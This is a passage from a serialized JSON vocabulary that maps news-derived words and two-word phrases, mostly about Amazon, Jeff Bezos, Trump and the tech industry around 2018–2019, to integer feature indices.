40415,\n  \"doorway announced\": 40416,\n  \"bsquare growers\": 40417,\n  \"lilac\": 40418,\n  \"1980 stood\": 40419,\n  \"ip\": 40420,\n  \"ended\": 40421,\n  \"ignore warnings\": 40422,\n  \"encroaching\": 40423,\n  \"amazon sears\": 40424,\n  \"bezos stand\": 40425,\n  \"beast says\": 40426,\n  \"bitty fraction\": 40427,\n  \"having lovers\": 40428,\n  \"amazon job\": 40429,\n  \"blocking broadcom\": 40430,\n  \"attends rally\": 40431,\n  \"dynasty set\": 40432,\n  \"wildfire torched\": 40433,\n  \"city going\": 40434,\n  \"limitations\": 40435,\n  \"argenti\": 40436,\n  \"945 9550\": 40437,\n  \"costly lobbyist\": 40438,\n  \"distressing\": 40439,\n  \"amazon facility\": 40440,\n  \"dictatorial methods\": 40441,\n  \"dr congo\": 40442,\n  \"president rodrigo\": 40443,\n  \"ambivalent\": 40444,\n  \"rustic landscape\": 40445,\n  \"space platform\": 40446,\n  \"shipping carell\": 40447,\n  \"communications director\": 40448,\n  \"farmers puerto\": 40449,\n  \"astoria boulevard\": 40450,\n  \"company sees\": 40451,\n  \"jordan toya\": 40452,\n  \"pays\": 40453,\n  \"famously private\": 40454,\n  \"growing shipping\": 40455,\n  \"earlier writings\": 40456,\n  \"tweets sent\": 40457,\n  \"asked brian\": 40458,\n  \"tension\": 40459,\n  \"really new\": 40460,\n  \"steve dillon\": 40461,\n  \"service cvs\": 40462,\n  \"tv program\": 40463,\n  \"zlotow glen\": 40464,\n  \"government networks\": 40465,\n  \"countries josh\": 40466,\n  \"showtime channel\": 40467,\n  \"google faced\": 40468,\n  \"simple young\": 40469,\n  \"rep barbara\": 40470,\n  \"avoided recession\": 40471,\n  \"far rebuffed\": 40472,\n  \"phoenix wasn\": 40473,\n  \"central washington\": 40474,\n  \"lederman\": 40475,\n  \"obsolete poked\": 40476,\n  \"virtues\": 40477,\n  \"report showing\": 40478,\n  \"broward regional\": 40479,\n  \"yesterday gain\": 40480,\n  \"book bobby\": 40481,\n  \"growth prospects\": 40482,\n  \"support small\": 40483,\n  \"soy importer\": 40484,\n  \"impel\": 40485,\n  \"cult classic\": 40486,\n  \"involve long\": 40487,\n  \"adriana trigiani\": 40488,\n  \"transportation supply\": 40489,\n  \"whippets\": 40490,\n  \"washington sept\": 40491,\n  \"people live\": 40492,\n  \"expected memorandum\": 40493,\n  \"boosts trump\": 40494,\n  \"pump\": 40495,\n  \"remains expired\": 40496,\n  \"quiet measured\": 40497,\n  \"counter walmart\": 40498,\n  \"macys\": 40499,\n  \"seek restitution\": 40500,\n  \"drama article38073257\": 40501,\n  \"washington private\": 40502,\n  \"spikes occur\": 40503,\n  \"motivated violence\": 40504,\n  \"tm twitter\": 40505,\n  \"548\": 40506,\n  \"sodo\": 40507,\n  \"existing family\": 40508,\n  \"french read\": 40509,\n  \"social effects\": 40510,\n  \"icann initially\": 40511,\n  \"publix getting\": 40512,\n  \"urge antitrust\": 40513,\n  \"cronyism efforts\": 40514,\n  \"congressional staff\": 40515,\n  \"removeclass\": 40516,\n  \"forensic analysis\": 40517,\n  \"trump promotion\": 40518,\n  \"heat dizzying\": 40519,\n  \"fist pumping\": 40520,\n  \"yelp valued\": 40521,\n  \"mom immigrated\": 40522,\n  \"ambassador amazonfcadam\": 40523,\n  \"legitimate assessment\": 40524,\n  \"history customers\": 40525,\n  \"lohr jones\": 40526,\n  \"rents skyrocketing\": 40527,\n  \"ginsberg talks\": 40528,\n  \"amazonbasics amazon\": 40529,\n  \"story elon\": 40530,\n  \"texas hospital\": 40531,\n  \"economy terribly\": 40532,\n  \"title ros\\u00e9\": 40533,\n  \"apple trump\": 40534,\n  \"tract containing\": 40535,\n  \"world smartphones\": 40536,\n  \"song don\": 40537,\n  \"backups\": 40538,\n  \"analyst ratings\": 40539,\n  \"host\": 40540,\n  \"squids\": 40541,\n  \"afford specialty\": 40542,\n  \"ventures blue\": 40543,\n  \"motorcycle soldier\": 40544,\n  \"completely disrupting\": 40545,\n  \"puffing\": 40546,\n  \"post sex\": 40547,\n  \"ice according\": 40548,\n  \"urinals\": 40549,\n  \"denver mayor\": 40550,\n  \"huge disappointment\": 40551,\n  \"china pact\": 40552,\n  \"activated technology\": 40553,\n  \"steadfastly\": 40554,\n  \"pill based\": 40555,\n  \"loud funny\": 40556,\n  \"enforcement abuse\": 40557,\n  \"college research\": 40558,\n  \"decorum mean\": 40559,\n  \"proven track\": 40560,\n  \"deviled\": 40561,\n  \"watches 2018\": 40562,\n  \"things memphis\": 40563,\n  \"clearly big\": 40564,\n  \"radical nuanced\": 40565,\n  \"aaron goggans\": 40566,\n  \"range 2018\": 40567,\n  \"continued maybe\": 40568,\n  \"buy print\": 40569,\n  \"restlessness\": 40570,\n  \"papers summarized\": 40571,\n  \"korean dictator\": 40572,\n  \"hardcover books\": 40573,\n  \"policy discussions\": 40574,\n  \"sales grew\": 40575,\n  \"ku\": 40576,\n  \"savings event\": 40577,\n  \"sentimental\": 40578,\n  \"political risks\": 40579,\n  \"early onset\": 40580,\n  \"app mueller\": 40581,\n  \"stimulating\": 40582,\n  \"make tesla\": 40583,\n  \"new data\": 40584,\n  \"trilogy z\\u00e9lie\": 40585,\n  \"sao\": 40586,\n  \"similar requirements\": 40587,\n  \"lengthy house\": 40588,\n  \"ounce stamped\": 40589,\n  \"insane mckinnon\": 40590,\n  \"named david\": 40591,\n  \"congress deals\": 40592,\n  \"abide\": 40593,\n  \"ann kohring\": 40594,\n  \"figure\": 40595,\n  \"states false\": 40596,\n  \"silos\": 40597,\n  \"protesters wanting\": 40598,\n  \"care starting\": 40599,\n  \"expose published\": 40600,\n  \"pulverize\": 40601,\n  \"pricey gifts\": 40602,\n  \"rashad long\": 40603,\n  \"reactid 182\": 40604,\n  \"high paid\": 40605,\n  \"facebook past\": 40606,\n  \"major player\": 40607,\n  \"infinitearticlecollection\": 40608,\n  \"waives\": 40609,\n  \"technology industries\": 40610,\n  \"tweet comment\": 40611,\n  \"commission anker\": 40612,\n  \"bbc quietly\": 40613,\n  \"facebook masterclass\": 40614,\n  \"dead finally\": 40615,\n  \"model suffered\": 40616,\n  \"spanked\": 40617,\n  \"day dishart\": 40618,\n  \"keach\": 40619,\n  \"brito anheuser\": 40620,\n  \"bezos hopes\": 40621,\n  \"harrington richmond\": 40622,\n  \"gg\": 40623,\n  \"214 000\": 40624,\n  \"tpmlivewire\": 40625,\n  \"commotion\": 40626,\n  \"landscapes\": 40627,\n  \"homes nationwide\": 40628,\n  \"___ ap\": 40629,\n  \"canada business\": 40630,\n  \"brandingtextsub\": 40631,\n  \"gawker declared\": 40632,\n  \"recession households\": 40633,\n  \"alltech\": 40634,\n  \"leading expertise\": 40635,\n  \"easy guides\": 40636,\n  \"gop heads\": 40637,\n  \"statement rightly\": 40638,\n  \"dwyre added\": 40639,\n  \"subscriptions commerce\": 40640,\n  \"book brainwashed\": 40641,\n  \"total surprise\": 40642,\n  \"operations including\": 40643,\n  \"employees argue\": 40644,\n  \"oligopoly\": 40645,\n  \"attack based\": 40646,\n  \"post read\": 40647,\n  \"discernible\": 40648,\n  \"elections speculation\": 40649,\n  \"company receiving\": 40650,\n  \"fight institutions\": 40651,\n  \"expanded far\": 40652,\n  \"ibm blew\": 40653,\n  \"okla\": 40654,\n  \"category louis\": 40655,\n  \"ants\": 40656,\n  \"bezos expanded\": 40657,\n  \"business china\": 40658,\n  \"going forward\": 40659,\n  \"simons cautioned\": 40660,\n  \"robust employment\": 40661,\n  \"tactics ap\": 40662,\n  \"milwaukee based\": 40663,\n  \"congressional democrats\": 40664,\n  \"exclusionary\": 40665,\n  \"mitt romney\": 40666,\n  \"noted include\": 40667,\n  \"railroad steel\": 40668,\n  \"release rages\": 40669,\n  \"tesla marijuana\": 40670,\n  \"overnight hurricane\": 40671,\n  \"chair william\": 40672,\n  \"rid\": 40673,\n  \"stakes rise\": 40674,\n  \"contract makes\": 40675,\n  \"way heres\": 40676,\n  \"turn according\": 40677,\n  \"fresh target\": 40678,\n  \"helps organizations\": 40679,\n  \"accessories smart\": 40680,\n  \"herera separately\": 40681,\n  \"oscar\": 40682,\n  \"dogged washington\": 40683,\n  \"says facebook\": 40684,\n  \"beckerman\": 40685,\n  \"affect business\": 40686,\n  \"new industry\": 40687,\n  \"departments\": 40688,\n  \"rising protest\": 40689,\n  \"mortgage lending\": 40690,\n  \"media personality\": 40691,\n  \"democratic nominee\": 40692,\n  \"disclosure\": 40693,\n  \"movements\": 40694,\n  \"charging consumers\": 40695,\n  \"finalized obama\": 40696,\n  \"heavily immigrant\": 40697,\n  \"facility posted\": 40698,\n  \"worth make\": 40699,\n  \"answers 2018\": 40700,\n  \"establishment institutions\": 40701,\n  \"guilfoyle tweeted\": 40702,\n  \"billionaires bezos\": 40703,\n  \"seek criminal\": 40704,\n  \"god seeds\": 40705,\n  \"keeping regulators\": 40706,\n  \"legitimate company\": 40707,\n  \"raunchy private\": 40708,\n  \"steps outlined\": 40709,\n  \"appeasing\": 40710,\n  \"caveat faux\": 40711,\n  \"trump effort\": 40712,\n  \"zealand prime\": 40713,\n  \"pirro focuses\": 40714,\n  \"overall revenues\": 40715,\n  \"patrick lauren\": 40716,\n  \"foods grocery\": 40717,\n  \"year rbc\": 40718,\n  \"300 300w\": 40719,\n  \"yesjkxa6bi\": 40720,\n  \"hollenhorst thanks\": 40721,\n  \"dominate search\": 40722,\n  \"russia hoax\": 40723,\n  \"2018 forbes\": 40724,\n  \"bosch available\": 40725,\n  \"synovus\": 40726,\n  \"prioritizing consumer\": 40727,\n  \"business professor\": 40728,\n  \"facebook plans\": 40729,\n  \"ihob decorative\": 40730,\n  \"verizon subsidiary\": 40731,\n  \"scandal otting\": 40732,\n  \"greeting 2018\": 40733,\n  \"local lawmakers\": 40734,\n  \"shift citigroup\": 40735,\n  \"news report\": 40736,\n  \"economy china\": 40737,\n  \"becker looked\": 40738,\n  \"fear democrats\": 40739,\n  \"administration asylum\": 40740,\n  \"cheating multiple\": 40741,\n  \"based titan\": 40742,\n  \"ummm multiple\": 40743,\n  \"state agencies\": 40744,\n  \"prioritizing\": 40745,\n  \"beat poetry\": 40746,\n  \"wheel joann\": 40747,\n  \"production drivers\": 40748,\n  \"everyday life\": 40749,\n  \"company dearly\": 40750,\n  \"reach large\": 40751,\n  \"shop\": 40752,\n  \"incredible pace\": 40753,\n  \"going pay\": 40754,\n  \"width webdisplayname\": 40755,\n  \"motorcycle production\": 40756,\n  \"getting away\": 40757,\n  \"shinjini\": 40758,\n  \"buzzsaw netflix\": 40759,\n  \"creation protection\": 40760,\n  \"kutlu\": 40761,\n  \"doesn make\": 40762,\n  \"cia exclusive\": 40763,\n  \"creating ability\": 40764,\n  \"political affiliation\": 40765,\n  \"100 000\": 40766,\n  \"000 american\": 40767,\n  \"reviews music\": 40768,\n  \"sense given\": 40769,\n  \"gilbert\": 40770,\n  \"pilot extraordinaire\": 40771,\n  \"gossip true\": 40772,\n  \"bypass normal\": 40773,\n  \"list challenges\": 40774,\n  \"health raises\": 40775,\n  \"letters wsjournal\": 40776,\n  \"thatwas real\": 40777,\n  \"addition subtraction\": 40778,\n  \"rates comparable\": 40779,\n  \"great fear\": 40780,\n  \"schr\\u00f6dinger north\": 40781,\n  \"card url\": 40782,\n  \"gabrielle\": 40783,\n  \"funeral held\": 40784,\n  \"firm palantir\": 40785,\n  \"amazon advantages\": 40786,\n  \"svs reading\": 40787,\n  \"term impacts\": 40788,\n  \"rite\": 40789,\n  \"galley\": 40790,\n  \"painful flesh\": 40791,\n  \"adelson\": 40792,\n  \"semiconductor space\": 40793,\n  \"aka james\": 40794,\n  \"liberty based\": 40795,\n  \"administration added\": 40796,\n  \"betty white\": 40797,\n  \"small wars\": 40798,\n  \"a4ee h0\": 40799,\n  \"complete triple\": 40800,\n  \"trump brought\": 40801,\n  \"influenced\": 40802,\n  \"worth cheering\": 40803,\n  \"tech icon\": 40804,\n  \"article president\": 40805,\n  \"susie scaretta\": 40806,\n  \"mackey asserted\": 40807,\n  \"fortune notes\": 40808,\n  \"relations spheres\": 40809,\n  \"longer depend\": 40810,\n  \"joined microsoft\": 40811,\n  \"improperly used\": 40812,\n  \"care public\": 40813,\n  \"cigar photo\": 40814,\n  \"using bulk\": 40815,\n  \"nerds\": 40816,\n  \"181 shares\": 40817,\n  \"reevaluate\": 40818,\n  \"chapters 11s\": 40819,\n  \"captionless\": 40820,\n  \"click module\": 40821,\n  \"leading presidential\": 40822,\n  \"alabama antique\": 40823,\n  \"regular contact\": 40824,\n  \"hailed historical\": 40825,\n  \"offred\": 40826,\n  \"new secondary\": 40827,\n  \"2f2018 2f9\": 40828,\n  \"resented having\": 40829,\n  \"good warns\": 40830,\n  \"time controversial\": 40831,\n  \"rex jacobsen\": 40832,\n  \"margins disappointed\": 40833,\n  \"growth amid\": 40834,\n  \"density kids\": 40835,\n  \"city hard\": 40836,\n  \"youngest players\": 40837,\n  \"brooks barnes\": 40838,\n  \"reimburse state\": 40839,\n  \"capping prices\": 40840,\n  \"customer homes\": 40841,\n  \"good jobs\": 40842,\n  \"friendly version\": 40843,\n  \"buy button\": 40844,\n  \"cartoonist\": 40845,\n  \"khashoggi killing\": 40846,\n  \"trump pushed\": 40847,\n  \"good innovation\": 40848,\n  \"survival ratesworld\": 40849,\n  \"graham miller\": 40850,\n  \"ambani\": 40851,\n  \"day war\": 40852,\n  \"2019 report\": 40853,\n  \"brosseau haugen\": 40854,\n  \"copyright\": 40855,\n  \"forensic audit\": 40856,\n  \"novelties\": 40857,\n  \"president george\": 40858,\n  \"alibaba navarro\": 40859,\n  \"consequential\": 40860,\n  \"trump hates\": 40861,\n  \"revealing\": 40862,\n  \"alert generated\": 40863,\n  \"media giants\": 40864,\n  \"year accounting\": 40865,\n  \"pointed portrayal\": 40866,\n  \"banana peel\": 40867,\n  \"2019 highlight\": 40868,\n  \"street valued\": 40869,\n  \"allegedly forced\": 40870,\n  \"natural termination\": 40871,\n  \"388\": 40872,\n  \"unmarked truck\": 40873,\n  \"house democratic\": 40874,\n  \"diligence amzn\": 40875,\n  \"bases signaling\": 40876,\n  \"hasn offset\": 40877,\n  \"gubarev\": 40878,\n  \"author nick\": 40879,\n  \"mark savino\": 40880,\n  \"karamo\": 40881,\n  \"attack investigation\": 40882,\n  \"climate observatory\": 40883,\n  \"new area\": 40884,\n  \"david simon\": 40885,\n  \"2018 pic\": 40886,\n  \"supplemental nutrition\": 40887,\n  \"hogarth\": 40888,\n  \"prime program\": 40889,\n  \"chronically posts\": 40890,\n  \"littered\": 40891,\n  \"outweighs\": 40892,\n  \"survivorship programs\": 40893,\n  \"senate took\": 40894,\n  \"calamity\": 40895,\n  \"intergovernmental panel\": 40896,\n  \"long complex\": 40897,\n  \"2015 agreement\": 40898,\n  \"pizzazz\": 40899,\n  \"usage stats\": 40900,\n  \"test results\": 40901,\n  \"deep pockets\": 40902,\n  \"controlled device\": 40903,\n  \"sellers buy\": 40904,\n  \"tax issue\": 40905,\n  \"story forbes\": 40906,\n  \"israeli invasion\": 40907,\n  \"refugees president\": 40908,\n  \"today talked\": 40909,\n  \"place ami\": 40910,\n  \"different fronts\": 40911,\n  \"blackmailing deals\": 40912,\n  \"subsidizing agric\": 40913,\n  \"statement denying\": 40914,\n  \"hardworking americans\": 40915,\n  \"dozen shows\": 40916,\n  \"romney took\": 40917,\n  \"pollack\": 40918,\n  \"conspiracy website\": 40919,\n  \"academic exercise\": 40920,\n  \"wizard\": 40921,\n  \"interior minister\": 40922,\n  \"supported efforts\": 40923,\n  \"places clashed\": 40924,\n  \"growth getty\": 40925,\n  \"political strategy\": 40926,\n  \"wholesale vendors\": 40927,\n  \"post public\": 40928,\n  \"longtime community\": 40929,\n  \"sanchez believed\": 40930,\n  \"lippman daniel\": 40931,\n  \"vote modern\": 40932,\n  \"late spring\": 40933,\n  \"news director\": 40934,\n  \"lisa jennings\": 40935,\n  \"mathias doepfner\": 40936,\n  \"rebuffed\": 40937,\n  \"omar comments\": 40938,\n  \"agent struggles\": 40939,\n  \"ami attorneys\": 40940,\n  \"trump convened\": 40941,\n  \"crushing competitors\": 40942,\n  \"colin jost\": 40943,\n  \"leasing approximately\": 40944,\n  \"fulfilment associate\": 40945,\n  \"sewer\": 40946,\n  \"ipo\": 40947,\n  \"far important\": 40948,\n  \"pat mcdonogh\": 40949,\n  \"demands began\": 40950,\n  \"story creator\": 40951,\n  \"searle\": 40952,\n  \"adaptation hits\": 40953,\n  \"bottomless\": 40954,\n  \"amzn fourth\": 40955,\n  \"madeira river\": 40956,\n  \"law passed\": 40957,\n  \"regular ones\": 40958,\n  \"investment failed\": 40959,\n  \"time using\": 40960,\n  \"ap joel\": 40961,\n  \"announced espionage\": 40962,\n  \"elmhurst corona\": 40963,\n  \"viral blog\": 40964,\n  \"liane\": 40965,\n  \"actor steve\": 40966,\n  \"secretary steve\": 40967,\n  \"customers exactly\": 40968,\n  \"amazon burgeoning\": 40969,\n  \"facebooks sandberg\": 40970,\n  \"advance plot\": 40971,\n  \"fromthe rise\": 40972,\n  \"note amazon\": 40973,\n  \"reached success\": 40974,\n  \"prime head\": 40975,\n  \"bezos todd\": 40976,\n  \"pallotta\": 40977,\n  \"shares gabelli\": 40978,\n  \"cnbc marketwatch\": 40979,\n  \"installed air\": 40980,\n  \"hill alex\": 40981,\n  \"pocket lighters\": 40982,\n  \"trump inspiration\": 40983,\n  \"dead trump\": 40984,\n  \"closely examine\": 40985,\n  \"activism\": 40986,\n  \"team sells\": 40987,\n  \"steveschmidtses\": 40988,\n  \"mentally repurposed\": 40989,\n  \"simplicity\": 40990,\n  \"early aughts\": 40991,\n  \"mortality\": 40992,\n  \"estimated half\": 40993,\n  \"choppiness\": 40994,\n  \"finish production\": 40995,\n  \"billion wsj\": 40996,\n  \"bradshaw jr\": 40997,\n  \"security united\": 40998,\n  \"showing picture\": 40999,\n  \"hornedo\": 41000,\n  \"identities institutions\": 41001,\n  \"elementcontents videocardcontents\": 41002,\n  \"becker declined\": 41003,\n  \"prosecutor robert\": 41004,\n  \"reach prime\": 41005,\n  \"brent\": 41006,\n  \"year katherine\": 41007,\n  \"antitrust department\": 41008,\n  \"nasdaq goog\": 41009,\n  \"new nonpartisan\": 41010,\n  \"fine trump\": 41011,\n  \"cheat consumers\": 41012,\n  \"lines connecting\": 41013,\n  \"story hawaii\": 41014,\n  \"seconds patriots\": 41015,\n  \"twitter apple\": 41016,\n  \"wagner used\": 41017,\n  \"addiction donovan\": 41018,\n  \"honour time\": 41019,\n  \"isn liable\": 41020,\n  \"brentwood\": 41021,\n  \"act invalidation\": 41022,\n  \"charity stakes\": 41023,\n  \"thing hot\": 41024,\n  \"post split\": 41025,\n  \"current expectations\": 41026,\n  \"related drama\": 41027,\n  \"ashland balloonfest\": 41028,\n  \"tconsulted\": 41029,\n  \"putin including\": 41030,\n  \"represents failure\": 41031,\n  \"program vows\": 41032,\n  \"fraud lawsuits\": 41033,\n  \"435\": 41034,\n  \"dissenting\": 41035,\n  \"decent working\": 41036,\n  \"necessary juices\": 41037,\n  \"teeth pulled\": 41038,\n  \"vaticannews\": 41039,\n  \"flights\": 41040,\n  \"meb faber\": 41041,\n  \"israel hamas\": 41042,\n  \"granny\\u0430janice clark\": 41043,\n  \"oppose increased\": 41044,\n  \"butcher block\": 41045,\n  \"lead cnl_filelocation\": 41046,\n  \"provide estimated\": 41047,\n  \"report executive\": 41048,\n  \"bbc news\": 41049,\n  \"writes margaret\": 41050,\n  \"stymie\": 41051,\n  \"gas developments\": 41052,\n  \"government reach\": 41053,\n  \"syrian egyptian\": 41054,\n  \"popular holding\": 41055,\n  \"pleas\": 41056,\n  \"lower ultimately\": 41057,\n  \"2000s recession\": 41058,\n  \"bezos followers\": 41059,\n  \"alexandia\": 41060,\n  \"vitalhub reports\": 41061,\n  \"month research\": 41062,\n  \"germany crucial\": 41063,\n  \"fans hankering\": 41064,\n  \"common dream\": 41065,\n  \"versace assassination\": 41066,\n  \"donation suggestions\": 41067,\n  \"union poorly\": 41068,\n  \"media bolsonaro\": 41069,\n  \"jeffersonians\": 41070,\n  \"deliveries following\": 41071,\n  \"liam\": 41072,\n  \"goal amazon\": 41073,\n  \"100 authorized\": 41074,\n  \"thing home\": 41075,\n  \"chronicled\": 41076,\n  \"climbed 443\": 41077,\n  \"jarvis reported\": 41078,\n  \"jointly developed\": 41079,\n  \"new growth\": 41080,\n  \"strong rationale\": 41081,\n  \"comey conan\": 41082,\n  \"fanh\": 41083,\n  \"held blue\": 41084,\n  \"reorder consumer\": 41085,\n  \"site ranging\": 41086,\n  \"oct record\": 41087,\n  \"years contract\": 41088,\n  \"averted\": 41089,\n  \"gmobogys5r\": 41090,\n  \"bezos sweetheart\": 41091,\n  \"attempts according\": 41092,\n  \"facebook mean\": 41093,\n  \"traffic flight\": 41094,\n  \"harbor posted\": 41095,\n  \"test discovered\": 41096,\n  \"comey shares\": 41097,\n  \"russians did\": 41098,\n  \"simpler customs\": 41099,\n  \"matthew yglesias\": 41100,\n  \"eastern half\": 41101,\n  \"goldblum jurassic\": 41102,\n  \"relished\": 41103,\n  \"jessica bruder\": 41104,\n  \"quarles leading\": 41105,\n  \"service financial\": 41106,\n  \"slimy boss\": 41107,\n  \"episodes themed\": 41108,\n  \"khosrowshahi admitted\": 41109,\n  \"checker story\": 41110,\n  \"force potential\": 41111,\n  \"war heats\": 41112,\n  \"exclusive club\": 41113,\n  \"kimmel just\": 41114,\n  \"avoid regulation\": 41115,\n  \"market cap\": 41116,\n  \"abuses\": 41117,\n  \"stinging message\": 41118,\n  \"invisiblewall\": 41119,\n  \"traditional carrier\": 41120,\n  \"drug market\": 41121,\n  \"related investments\": 41122,\n  \"2015 collection\": 41123,\n  \"provide investors\": 41124,\n  \"munch\": 41125,\n  \"bloomberg finance\": 41126,\n  \"upbeat melody\": 41127,\n  \"walmart schooled\": 41128,\n  \"sixth grade\": 41129,\n  \"amassed phenomenal\": 41130,\n  \"potential presidential\": 41131,\n  \"karen pence\": 41132,\n  \"highland\": 41133,\n  \"dirty politics\": 41134,\n  \"reasonably safe\": 41135,\n  \"teirstein zteirstein\": 41136,\n  \"real degree\": 41137,\n  \"usnews people\": 41138,\n  \"halliburton schlumberger\": 41139,\n  \"shiny looking\": 41140,\n  \"driving online\": 41141,\n  \"demands uk\": 41142,\n  \"prince told\": 41143,\n  \"recipes\": 41144,\n  \"insets charts\": 41145,\n  \"santa monica\": 41146,\n  \"news ignored\": 41147,\n  \"jackpot 2018\": 41148,\n  \"amazon storied\": 41149,\n  \"confession tapes\": 41150,\n  \"balderson wearing\": 41151,\n  \"post investigations\": 41152,\n  \"thestreet\": 41153,\n  \"enforced\": 41154,\n  \"symbiotic\": 41155,\n  \"true bastion\": 41156,\n  \"jabs\": 41157,\n  \"set practically\": 41158,\n  \"reach draft\": 41159,\n  \"included keeping\": 41160,\n  \"york lawmakers\": 41161,\n  \"house flat\": 41162,\n  \"priests molested\": 41163,\n  \"include sen\": 41164,\n  \"khalil bendib\": 41165,\n  \"fined 348\": 41166,\n  \"millennials want\": 41167,\n  \"brockell check\": 41168,\n  \"net elizabeth\": 41169,\n  \"feel threatened\": 41170,\n  \"fish\": 41171,\n  \"deliberately obstruct\": 41172,\n  \"initial massive\": 41173,\n  \"photo volunteers\": 41174,\n  \"bearish sign\": 41175,\n  \"afternoon trading\": 41176,\n  \"nemmqxvj07\": 41177,\n  \"remains steadfast\": 41178,\n  \"climbed bezos\": 41179,\n  \"jurna nrc\": 41180,\n  \"thew epa\": 41181,\n  \"districts trump\": 41182,\n  \"city address\": 41183,\n  \"rules based\": 41184,\n  \"2070336002\": 41185,\n  \"obama holding\": 41186,\n  \"proper nouns\": 41187,\n  \"armstrong lie\": 41188,\n  \"package deal\": 41189,\n  \"media days\": 41190,\n  \"deadly poison\": 41191,\n  \"provide free\": 41192,\n  \"remember told\": 41193,\n  \"postmortal\": 41194,\n  \"market story\": 41195,\n  \"intimate relationships\": 41196,\n  \"recreational waterfront\": 41197,\n  \"trade representative\": 41198,\n  \"old order\": 41199,\n  \"bigger threats\": 41200,\n  \"person shipping\": 41201,\n  \"current framing\": 41202,\n  \"funded economic\": 41203,\n  \"new sports\": 41204,\n  \"agenda amazon\": 41205,\n  \"trucking logistics\": 41206,\n  \"rural banditry\": 41207,\n  \"availability zones\": 41208,\n  \"showing new\": 41209,\n  \"olympic gymnast\": 41210,\n  \"regret\": 41211,\n  \"georgia\": 41212,\n  \"amasses unprecedented\": 41213,\n  \"kavanaugh hearings\": 41214,\n  \"unfairly weighted\": 41215,\n  \"distribution\": 41216,\n  \"trump urging\": 41217,\n  \"reported brennan\": 41218,\n  \"cringy self\": 41219,\n  \"reuters brian\": 41220,\n  \"issue bezos\": 41221,\n  \"considering offering\": 41222,\n  \"costs longtime\": 41223,\n  \"recognition products\": 41224,\n  \"using sharp\": 41225,\n  \"networking hardware\": 41226,\n  \"aaron david\": 41227,\n  \"mta wanting\": 41228,\n  \"bleeding chest\": 41229,\n  \"microphone away\": 41230,\n  \"facebook just\": 41231,\n  \"social networking\": 41232,\n  \"382\": 41233,\n  \"amazonians work\": 41234,\n  \"mayor muriel\": 41235,\n  \"huge financial\": 41236,\n  \"indigenous life\": 41237,\n  \"bloodworth warehouses\": 41238,\n  \"law student\": 41239,\n  \"mktw gop\": 41240,\n  \"stuff amazon\": 41241,\n  \"solid consensus\": 41242,\n  \"leaked private\": 41243,\n  \"embassy steve\": 41244,\n  \"campaign hughes\": 41245,\n  \"community alibaba\": 41246,\n  \"elect meeting\": 41247,\n  \"supports amazon\": 41248,\n  \"23m\": 41249,\n  \"gained traction\": 41250,\n  \"ucla\": 41251,\n  \"refuting allegations\": 41252,\n  \"kenneth cole\": 41253,\n  \"initially submitted\": 41254,\n  \"kellyanne\": 41255,\n  \"past weekend\": 41256,\n  \"daily delivery\": 41257,\n  \"pronouncement\": 41258,\n  \"perceived lack\": 41259,\n  \"blasts tricked\": 41260,\n  \"baseball legend\": 41261,\n  \"trademark assets\": 41262,\n  \"considered hotbeds\": 41263,\n  \"community queensbridge\": 41264,\n  \"repels voters\": 41265,\n  \"2017 super\": 41266,\n  \"black teen\": 41267,\n  \"sanders ocasio\": 41268,\n  \"employees attended\": 41269,\n  \"cbs merger\": 41270,\n  \"million barrels\": 41271,\n  \"deal giving\": 41272,\n  \"president photo\": 41273,\n  \"hillbilly elegy\": 41274,\n  \"file ap\": 41275,\n  \"experience moser\": 41276,\n  \"judgement\": 41277,\n  \"number\": 41278,\n  \"stakeholders including\": 41279,\n  \"attack silicon\": 41280,\n  \"stephanie gonzales\": 41281,\n  \"amafozz\": 41282,\n  \"bolsonaro publicly\": 41283,\n  \"constructed properties\": 41284,\n  \"1988\": 41285,\n  \"otyf\": 41286,\n  \"stays extra\": 41287,\n  \"new neighborhood\": 41288,\n  \"required bartiromo\": 41289,\n  \"prediction\": 41290,\n  \"mobile home\": 41291,\n  \"gita\": 41292,\n  \"amnesty\": 41293,\n  \"strong independent\": 41294,\n  \"fun game\": 41295,\n  \"klein tommy\": 41296,\n  \"triggered drop\": 41297,\n  \"dealt sen\": 41298,\n  \"a0 h0\": 41299,\n  \"gain senate\": 41300,\n  \"years institutional\": 41301,\n  \"pawn\": 41302,\n  \"entry primarily\": 41303,\n  \"itep incredibly\": 41304,\n  \"lot left\": 41305,\n  \"damaging\": 41306,\n  \"subsidized industries\": 41307,\n  \"share toronto\": 41308,\n  \"journalism used\": 41309,\n  \"technology investor\": 41310,\n  \"event held\": 41311,\n  \"case new\": 41312,\n  \"disappoints\": 41313,\n  \"tapping new\": 41314,\n  \"physical location\": 41315,\n  \"dramatically different\": 41316,\n  \"prides\": 41317,\n  \"increase rents\": 41318,\n  \"campaign platforms\": 41319,\n  \"spinach guy\": 41320,\n  \"meme able\": 41321,\n  \"coby claimed\": 41322,\n  \"divorce president\": 41323,\n  \"speechboy71\": 41324,\n  \"stimulus\": 41325,\n  \"felt couldn\": 41326,\n  \"icahn argues\": 41327,\n  \"orders began\": 41328,\n  \"just ontologically\": 41329,\n  \"lion cbs\": 41330,\n  \"condones\": 41331,\n  \"new chairs\": 41332,\n  \"cloth\": 41333,\n  \"administration biggest\": 41334,\n  \"laughing face\": 41335,\n  \"nj\": 41336,\n  \"russian spies\": 41337,\n  \"photos videos\": 41338,\n  \"following fourth\": 41339,\n  \"oncology unit\": 41340,\n  \"electoral victories\": 41341,\n  \"report coming\": 41342,\n  \"verizon server\": 41343,\n  \"isn lot\": 41344,\n  \"g6 lg\": 41345,\n  \"stabilize preserve\": 41346,\n  \"good options\": 41347,\n  \"inbev ceo\": 41348,\n  \"onstage carrying\": 41349,\n  \"ja\": 41350,\n  \"mir putin\": 41351,\n  \"accelerating quickly\": 41352,\n  \"divisive escape\": 41353,\n  \"amazon despite\": 41354,\n  \"say beijing\": 41355,\n  \"channelarray topid\": 41356,\n  \"including ground\": 41357,\n  \"essex market\": 41358,\n  \"quotebyline font\": 41359,\n  \"aut_base_filelocation\": 41360,\n  \"law earlier\": 41361,\n  \"television news\": 41362,\n  \"patch\": 41363,\n  \"undermining regulations\": 41364,\n  \"readily scan\": 41365,\n  \"logical place\": 41366,\n  \"giants facebook\": 41367,\n  \"pilot maycay\": 41368,\n  \"backdrop\": 41369,\n  \"business platform\": 41370,\n  \"company acquiring\": 41371,\n  \"inc_custom_pubdate null\": 41372,\n  \"old ideas\": 41373,\n  \"replace human\": 41374,\n  \"just bezos\": 41375,\n  \"parents\": 41376,\n  \"net price\": 41377,\n  \"security featuring\": 41378,\n  \"shehan\": 41379,\n  \"criticism notable\": 41380,\n  \"contrarians viable\": 41381,\n  \"candidates 2020\": 41382,\n  \"package deals\": 